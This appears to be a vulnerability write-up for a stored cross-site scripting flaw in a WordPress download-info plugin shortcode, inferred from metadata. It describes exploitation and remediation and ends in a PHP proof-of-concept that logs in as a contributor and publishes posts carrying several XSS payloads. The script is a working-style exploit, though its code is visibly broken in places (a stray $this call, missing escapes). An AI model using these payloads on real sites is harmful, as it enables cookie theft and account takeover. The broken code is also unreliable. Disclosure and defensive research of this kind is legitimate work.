Atomic Edge analysis of CVE-2025-14121 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the EDD Download Info WordPress plugin. The vulnerability exists in the ‘edd_download_info_link’ shortcode handler. Attackers with contributor-level permissions or higher can inject malicious scripts into page content. These scripts execute when users view the compromised pages. The CVSS 6.4 score reflects medium severity with scope change impact.
Atomic Edge research identifies insufficient input sanitization and output escaping as the root cause. The plugin fails to properly neutralize user-supplied shortcode attributes before rendering them in HTML output. This conclusion is inferred from the CWE-79 classification and vulnerability description. Without code access, we cannot confirm the exact vulnerable function names or sanitization bypass details. The vulnerability pattern matches common WordPress shortcode handler flaws where attribute values receive inadequate validation.
Exploitation requires authenticated access with at least contributor privileges. Attackers create or edit posts containing the vulnerable shortcode with malicious attribute values. The payload executes in visitors’ browsers when they view the compromised page. A typical attack uses the shortcode like [edd_download_info_link id=”1″ custom_attribute=”alert(document.cookie)”]. The exact vulnerable attribute name is unspecified in metadata, but attackers would test all shortcode parameters for XSS injection points.
Remediation requires implementing proper input validation and output escaping. The plugin should sanitize shortcode attributes using WordPress functions like `sanitize_text_field()` during input processing. Output escaping with `esc_attr()` for HTML attributes and `esc_html()` for text content would prevent script execution. WordPress shortcode APIs provide built-in attribute parsing that developers should combine with proper sanitization functions.
Successful exploitation allows attackers to execute arbitrary JavaScript in victims’ browsers. This can lead to session hijacking, administrative account takeover, content defacement, or malware distribution. The stored nature means a single injection affects all page visitors indefinitely. Contributor-level access is relatively easy to obtain through compromised accounts or social engineering, increasing the practical risk.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-14121 - EDD Download Info <= 1.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes
<?php
/**
* Proof of Concept for CVE-2025-14121
* Assumptions based on metadata:
* 1. Plugin uses WordPress shortcode 'edd_download_info_link'
* 2. Shortcode attributes lack proper sanitization
* 3. Contributor+ users can create/edit posts with shortcodes
* 4. No specific vulnerable attribute named in CVE description
*/
$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'contributor_account';
$password = 'contributor_password';
// Test payloads for different injection contexts
$payloads = [
// Basic script injection
'<script>alert(document.domain)</script>',
// Event handler injection
'" onmouseover="alert(1)"',
// SVG with script
'<svg onload="alert(1)">',
// JavaScript URI
'javascript:alert(1)'
];
// Initialize cURL session for WordPress login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
// Verify login success by checking for admin bar or dashboard
if (strpos($response, 'wp-admin-bar') === false && strpos($response, 'Dashboard') === false) {
echo "Login failed. Check credentials.n";
exit;
}
echo "Logged in successfully. Testing XSS payloads...nn";
// Test each payload in a new post
foreach ($payloads as $index => $payload) {
$post_title = "Test XSS CVE-2025-14121 - Payload $index";
$post_content = "Testing EDD Download Info shortcode vulnerability:n";
$post_content .= "[edd_download_info_link test="$payload"]n";
$post_content .= "[edd_download_info_link custom_attribute="$payload"]n";
$post_content .= "[edd_download_info_link] $payload [/edd_download_info_link]";
// Create post via WordPress REST API (available to contributors)
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-json/wp/v2/posts');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode([
'title' => $post_title,
'content' => $post_content,
'status' => 'publish'
]));
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Content-Type: application/json',
'X-WP-Nonce: ' . $this->get_rest_nonce($ch, $target_url)
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($http_code === 201) {
$post_data = json_decode($response, true);
echo "Created post with payload $index: " . $post_data['link'] . "n";
echo "Payload: $payloadnn";
} else {
echo "Failed to create post for payload $index (HTTP $http_code)n";
}
}
curl_close($ch);
// Helper function to get REST API nonce (simplified)
function get_rest_nonce($ch, $target_url) {
// In real PoC, extract nonce from page source
// This is simplified for demonstration
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php');
curl_setopt($ch, CURLOPT_HTTPGET, 1);
$response = curl_exec($ch);
// Extract nonce from page (simplified pattern)
preg_match('/wpApiSettings.*?nonce.*?"([a-f0-9]+)"/', $response, $matches);
return $matches[1] ?? 'invalid_nonce';
}
?>
